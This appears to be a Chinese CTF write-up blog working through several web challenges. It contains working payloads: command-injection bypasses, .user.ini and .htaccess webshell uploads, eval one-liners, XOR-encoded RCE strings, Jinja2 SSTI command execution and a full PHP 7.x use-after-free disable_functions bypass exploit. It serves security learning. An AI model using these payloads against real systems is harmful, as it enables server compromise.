其他分享
首页 > 其他分享> > 第 x 周

第 x 周

作者:互联网

这里写自定义目录标题

忘记第几周了,就第 x 周吧。
第 x 周的write up。

---------day1---------

[强网杯 2019]高明的黑客(fuzz脚本)

image-20201208182030735

提示很明显了,网站代码已经备份到www.tar.gz上了,访问之,将备份下载下来。

打开文件里的网站源文件

image-20201208183440448

看到了很多混乱的shell,一个一个手动测试是不可能了,于是写了一个python脚本。(但没有加多线程,只能对get传参的shell进行测试)属实没有效率。于是看了下大佬的write up。

import requests
import re
import os
from multiprocessing import Pool

path = 'E:/Personal/devc++/phpstudy/WWW/src/'
url = 'http://0e9af826-06cc-40e0-bf80-aeaef34f24ae.node3.buuoj.cn/'

# r = re.compile(br"\$_GET\['(\w+')\]") # 设置读取的要求
r = re.compile(br"\$_GET\[\'(\w+)\'\]") # 匹配$_GET[‘XXX‘]

f_list = os.listdir(path) # 读取路径文件夹下的所有文件


tmp = []
flags = []

def test(f_list):
    a = 0
    for list in f_list:
        print(a)
        a = a+1
        with open(path + list, 'r',encoding='utf-8') as f:
            lines = f.readlines()
            for line in lines:
                tmp = r.findall(line.encode('utf-8'))

                tmp = str(tmp)[3:-2]
                if len(tmp) != 0:
                    # print(tmp)
                    exp = url + list + "?" + tmp + "=" +"echo congratulation;"
                    # print(exp)
                    # data = {tmp :"echo 'hello'"}  # 将携带的参数传给params
                    # r = requests.get(url + "%s?%s=%s" % (list, tmp, "echo hello;"))
                    res = requests.get(exp)
                    if 'hello' in res.text:
                        print("this param is good: " + tmp)
                        flags.append(tmp)
    print(flags)


test(f_list)

用大佬的脚本跑了下

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)  							  			#这儿设置最大的线程数
filePath = r"E:\Personal\white up\web-buu\[强网杯 2019]高明的黑客(fuzz,python脚本)\www\src"
os.chdir(filePath)													#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()												
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:							#打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}														#所有的$_POST
    params = {}														#所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)			#一次性请求所有的GET和POST
    req.close()												# 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:									#如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()												# 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()												# 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:													#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:															#加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

找到有效的shell了 xk0SzyKwfzw.php Efa5BVG

拿到flag

image-20201208185904125

ZJCTF-2019-Web-逆转思维(代码审计,php伪协议)

又是代码审计的题目。

image-20201208195759039

<?php  
$text = $_GET["text"]; // 传参
$file = $_GET["file"]; // 传参
$password = $_GET["password"]; // 传参
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
{
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file))
    {
        echo "Not now!";
        exit(); 
    }
    else
    {
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

第一个关键点:

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
判断text是否存在 并且 要上传一个文件text内容为 “welcome to the zjctf”

于是利用PHP伪协议里的data伪协议:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

这里的字符串也可以不用base64编码。

image-20201208200822965

第二个关键点

if(preg_match("/flag/",$file)) // 传参为file
    {
        echo "Not now!";
        exit(); 
    }
    else
    {
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

变量file里面不能含有flag,但是后面的注释里提到了useless.php文件,于是访问这个文件;file=useless.php。

image-20201208201746373

不过不知道为什么没有成功。看了下大佬的write up,访问php文件得先进行base64编码,否者无法使用。这样就又得用为协议了:file=php://filter/read=convert.base64-encode/resource=useless.php

image-20201208202114874

解码之得到useless的代码:

image-20201208202054712

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

第三个:

$password = unserialize($password);

对password进行编码了,又联想到刚才得到的源码,于是利用Flag类对password进行序列化。 O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

image-20201208202936167

自此三个变量的值都有的,进行整合:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

image-20201208203302732

https://segmentfault.com/a/1190000021714035

https://www.jianshu.com/p/43de35540878

[GXYCTF2019]禁止套娃(git泄露)

查看了头文件,.bak,index.php,robots.txt,实在没有招了,看了下大佬的write up。提示有git泄露。

用githack跑了一下。果然跑出来源码。

image-20200928185806534

image-20200928190140475

到此后变成了一道php代码审计的题了。

根据第二个判断应该是要利用php伪协议读取本地的flag.php

第一个if里面的要求必须要使用指定的这四个伪协议

image-20200928194418614

第二个if里面将正则里匹配的去掉;如果最后剩下分号才能继续

image-20200928194425288

第三个是指定payload里得有的字符串

image-20200928194430816

然后根据在网上找到的一些函数来构造payload

scandir可以列出路径中文件和它的目录

但如果要看当前目录的话,得声明一个变量指定路径,这里就用到了localeconv。

还得用pos取出数组中的单元

然后构造payload /?exp=print_r(scandir(pos(localeconv())));

image-20200928201154015

看到flag在第四个,而指针在0处,就得用到反转array_reverse()函数让指针指到-1也就是index.php然后用next指向flag.txt

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

image-20200928201638016

---------day2---------

[GXYCTF2019]Ping Ping Ping(管道符,rce)

知识点

远程命令执行 $IFS$1替代空格

打开页面上就一个?ip=,猜测是get方式给ip传参。

image-20201209100809406

利用管道符可以实现RCE;参考了下这篇博客构造payload [rce以及绕过][https://www.ghtwf01.cn/index.php/archives/273/#menu_index_5]

image-20201209103312469

ls查看当前目录可以看到有flag.php与index.php;直接查看直接被过滤掉了。

image-20201209103446309

利用${IFS}代替空格;也过滤了。

image-20201209104136149

用$代替{}吗,可还是被过滤了;这时想起来前面目录下不还有index.php嘛。

image-20201209104346207

查看index.php;给了源码。

image-20201209104440803

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

查看源码,最关键的是有一个命令执行函数shell_exec()。前面过滤了许多部分字符,斜杠,bash,flag。不过没有过滤sh。

为了去掉flag字符,可以将它先base64加密;过滤掉了""。

image-20201209110215134image-20201209110318163

将双引号去掉,拿到flag。

image-20201209110353736

payload:?ip=127||echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

https://blog.csdn.net/weixin_44348894/article/details/105352676

[极客大挑战 2019]Secret File(php伪协议)

知识点

php伪协议读取文件

打开后查看源码发现有隐藏的页面

image-20201209110938965image-20201209111019432

打开Archive_room.php

image-20201209111054946

点击secret后直接跳到了end.php;真的什么也没看到。查看源代码,发下点击了后会先跳到action.php然后马上跳到end.php。

image-20201209111122845

写了个爬虫,看下end.php;不过爬虫也只会显示end.php,于是用burp suite查看;提示了secr3t.php。

image-20201209112306978

secr3t.php给出了源码。

image-20201209112726377

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__); //代码高亮
    error_reporting(0); // 关闭报错
    $file=$_GET['file']; // 传参
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

strstr()函数返回第一次遇到配对字符以及后面说有字符;stristr()是前者的忽略大小写版本。

image-20201209113106513image-20201209113308295

用php伪协议读取flag.php,拿到了flag的base64编码。

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20201209114137206

image-20201209114216481

[SUCTF 2019]CheckIn(.user.ini)

知识点

.user.ini:.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。可谓很广,不像.htaccess有局限性,只能是apache.

exif_imagetype()函数

以前做题只是用接触过.htacess,这次由于.thacess的局限性,学到了一种新的解析方法。

如果上传php文件,会被直接过滤。

image-20201209175538553

但可以上传图片文件,在网上找了几个常见的图片头

JPG :FF D8 FF E0 00 10 4A 46 49 46
GIF(相当于文本的GIF89a):47 49 46 38 39 61
PNG: 89 50 4E 47

.uer.ini是一个在每次执行php文件前都去读取的文件,其中有两个配置,可以用来制造后门:auto_append_file、auto_prepend_file。可以用这个指定每次访问目录下php文件的时都会去解析的一个文件。比如:

auto_prepend_file=test.jpg

这样每次访问php文件时都会先包含解析test.jpg

所以我们可以自己写一个.user.ini让服务器去包含上传的文件,从而拿到flag。为了绕过上传的限制,在首行加上图片头。

GIF89a
auto_prepend_file=test.jpg

image-20201209180603179

image-20201209180557043

从上面可以看出,上传成功后的文件目录下有一个index.php,我们可以靠访问它来激活.user.ini;上传test.jpg,内容如下,每次访问index.php时就会执行cat flag。

image-20201209181442045

image-20201209181642475

然后访问上传目录下的index.php拿到flag。

image-20201209163929217

也可以传马

image-20201209203834248

image-20201209203853124

---------day3---------

[GYCTF2020]EasyThinking(disable_functions绕过)

知识点

thinkphp6.0 session任意代码执行漏洞

disable_functions绕过

扫描后台,发现有源码泄露,先下载下来。

随便访问一个不存在的控制器,报错,也可以看到thinkphp的版本。

image-20201209220259344

看了网站的这些功能也就只有一个搜索可能有点用。

到源码里查看了下search的写法,发现,输入的字符串直接拼接到session里了。

image-20201210092533527

为了方便burp suite抓包将session改为:1234567890123456789012345678.php,注意是32位。

image-20201210095716206

然后在搜索框输入一个小马,点击搜索,这样这段恶意代码就会被写入到session。

<?php eval($_POST[abc]);?>

image-20201210094544820

然后访问/runtime/session/sess_1234567890123456789012345678.php。

image-20201210095512469

连上蚁剑,可以看到创建的session

image-20201210095641014

好不容易在根目录下找到了flag,可是却打不开,又发现了一个readflag文件,故猜测不能直接读flag,得靠readflag这个文件才行。

image-20201210100331127

为了更多的信息,在目录下写入一个a.php,执行phpinfo(),查看phpinfo里的disable_function。里面禁掉了大部分函数已经让这个这个shell没啥大用了。

image-20201210100634657

image-20201210134555832

image-20201210120608135

于是想着在网上找找能绕过disable_functions的exp。找到一篇合适的,在网上找到一个7.0-7.4的exp。找到一个有权限创建文件的目录,将代码上传保存为bypass.php。其他情况下也可以试试蚁剑的disable_functions绕过插件,不过本题不适用。

image-20201210134949119

<?php
# url:https://github.com/mm0r1/exploits/tree/master
    
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

然后再到搜索框构造paylaod让session可以包括这个文件。但是还是不显示flag,于是想着运行readflag看看是不是能出flag。将命令改为/readflag,再到页面执行命令包含bypass.php,拿到flag。

image-20201210135524864

abc=include('/var/www/html/runtime/session/bypass.php');

image-20201210135348209

[极客大挑战 2019]RCE ME(disable_functions绕过,异或,取反)

知识点

php异或,取反 https://blog.csdn.net/mochu7777777/article/details/104631142

disable_functions绕过

网页首页给了代码。

<?php
error_reporting(0); // 关闭报错
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){ // 长度限制 小于等于40
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){ // 不能有字母数字
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__); // 高亮
}

// ?>

image-20201210142454123

代码倒是简单,倒是过滤了所有字母和数字。常用的命令执行肯定不能使用了。所以这里就得用到正则绕过。既然是正则绕过,先用在easy_php里学到的姿势看一波phpinfo(),这里是取反urlencode编码。

image-20201210144346561

http://f8d1877f-bba4-43ae-94fb-2f6798132f94.node3.buuoj.cn?code=(~%8F%97%8F%96%91%99%90)();

image-20201210144358608

way 1

构造取反payload连接蚁剑。

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "      ";
$c='(eval($_POST[abc]))';
$d=urlencode(~$c);
echo $d;
 ?>
# %9E%8C%8C%9A%8D%8B      %D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%9D%9C%A2%D6%D6
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

image-20201210155859070

连接蚁剑,密码为abc的。

image-20201210155811331

和之前有道题一样,disable_functions禁掉太多命令执行函数,导致shell的用处不大,根目录下的flag不能直接查看,而且含有flag和readflag。

disable_functions里面禁掉的函数有点多。

image-20201210150646754

image-20201210151859041

之前用的是thinkphp6.0session漏洞的exp绕过disable_functons,这道题试过后可以用蚁剑的插件绕过直接读取flag。

git clone https://github.com/Medicean/as_bypass_php_disable_functions.git
文件复制至 antSword\antSword\antData\plugins 下
重启蚁剑即可

拿到flag。

image-20201210153313606

way 2

或者可以利用linux提供的LD_preload环境变量,劫持共享so,启动子进程的时候,新的子进程回家再恶意的so拓展,然后可以在so里定义同名函数,就可以戒指api调用,进行任意命令执行。

浅谈LD_preload:https://www.anquanke.com/post/id/175403

exp:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

经过测试/var/tmp有上传权限,上传exp与恶意so文件。

image-20201210161357229

这里直接用一下PHITHON师傅的payload,(payload讲解:https://blog.csdn.net/mochu7777777/article/details/104631142)

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

将后面的变量换为自己要执行的命令

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

image-20201210163411409

拿到flag

image-20201210163434668

[GYCTF2020]FlaskApp(ssti)

知识点

ssti模板注入

常见字符串拼接

pin码 https://blog.csdn.net/sopromeo/article/details/105875248

拿到flask的站,第一个想到的就是ssti模板注入。

提示:失败乃成功之母

加密,解密也能正常运行。

image-20201210164011585

不过当解密解析不了的时候,会出现报错,应该是没有关闭debug。

image-20201210164127061

在app/app.py下面可以看到后台对输入的字符串是如何处理的。

image-20201210164649151

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') : # 变量text 接收传参
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode()) # 将输入的字符串解码后拼接到前面
        if waf(tmp) :  # 将拼接好的字符串进行检测,如果能通过waf则输出。
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)
Open an interactive python shell in this frame        ​flash( res )

ssti注入测试以下。

image-20201210165445514

确实存在注入

image-20201210165559387

利用一下官方的payload

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

# 将popen里面的命令改为遍历根目录

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

被waf检测到了

image-20201210171431892

尝试用字符串拼接绕过。

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impo'+'rt__'+'("o'+'s")'+'.pop'+'en("l'+'s /").re'+'ad()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

成功读出了根目录下的文件,有一个this_is_the_flag.txt文件,估计flag就在里面。

image-20201210172103477

尝试直接读取flag字符

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impo'+'rt__'+'("o'+'s")'+'.pop'+'en("ca'+'t /this_is_the_f'+'lag.txt").re'+'ad()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

这会就直接拿到了flag。

image-20201210172428953

看了下师傅们的write up,除了字符串拼接,还可以用切片将字符串倒转输出,不得不感叹师傅们太牛了。

txt.galf_eht_si_siht/’[::-1]

{{ b['eva'+'l']('__impo'+'rt__'+'("o'+'s")'+'.pop'+'en("ca'+'t /this_is_the_f'+'lag.txt").re'+'ad()') }}

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}
{% endif %}
{% endfor %}

---------day4---------

[SUCTF 2019]EasyWeb

知识点

php异或

.htaccess的用法

不墨迹,直接就把源码给了。

image-20201211192225401

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^");  // 检测php
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) // 过滤了字母,数字,以及其他一些字符
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!"); // 限制长度12

eval($hhh);
?>

先看这个判断,过滤了字母,数字,以及其他一些字符。这让我想起了之前做的正则无字母绕过题([极客大挑战 2019]RCE ME)。这里直接phithon师傅试一下paylaod。

image-20201211192605767

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

image-20201211193211597

和之前的异或题一样,来查看下disable_functions。果然过滤了大部分执行函数。不过和之前不同的是,本题多了一个get_the_flag()函数。

image-20201211194452166

可以利用get_the_flag()上传文件。不过这里过滤了ph,也就是说.php以及它的另外一些常见的后缀(phtml,PHP等)都不可用。这时我想起来做过一道利用配置文件.user.ini包含本地文件然后用服务器去解析实现任意命令执行的题。([SUCTF 2019]CheckIn)不过本题上传后没有可供访问的php文件,所以可以上传.htaccess文件。

tips1:.htaccess与.user.ini的区别在于:.user.ini适用于nginx的服务器,而且上传目录下有一个php文件,所以checkin可以用这个;本题是apache的服务器,而且无可用php文件,故用.htaccess

tips2:.htaccess上传的时不能用GIF89ad等头文件绕过exif_imagetype(),纵使上传成功,也无法令其生效。

这时有两个方法

在文件前添加:
#define width 1337
#define height 1337
# 是注释符,所以不会对后续有影响

或者

在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

tips3:这里的php版本是7.2

<script language="php"></script>
无法使用上述代码,绕过对<?的检测解决方法是将一句话base64编码,然后在.htaccess中利用伪协议进行解码
.htaccess
#define width 1337
#define height 1337 
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"


shell.abc 这里文件头后面的12是为了补足8个字节,满足后面的base64编码规则。
GIF89a12 
PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==

tips看完后,正式开始操作,先看一下代码。

function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^");  // 检测php
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

当然本题没有写上传的功能,于是只有用python的requests上传文件。

先用网上大佬的exp用一下,exp的一些代码在tips里已经说明了,做完了再去学学怎么写。

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c41893938531041badacfc22febe3abd/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://291314ba-4904-424c-a211-3258ecd8f271.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

上传成功,访问,打印的目录下的文件。

image-20201211202720277

image-20201211202743741

连上蚁剑,不过没有权限。

image-20201211203001461

way 1

这时想到之前在绕过disable_functions的蚁剑插件(具体请看[极客大挑战 2019]RCE ME),启动插件,在根目录下找到了flag。

image-20201211203253715

image-20201211202936379

way 2

不过看了师傅们的write up后,正确的揭发应该是绕过open_basedir。

查看phpinfo里的open_basedir,可以看到这里只给了/var/www/html/与/tmp下的目录的权限。image-20201211203408936

可以用绕过open_basedir的payload实现命令执行

payload1:a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));


payload2:a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print(readfile('/THis_Is_tHe_F14g'));


image-20201211204706161

[BJDCTF 2nd]duangShell(反弹shell,swp泄露)

知识点

`反弹shell``

``swp泄露`

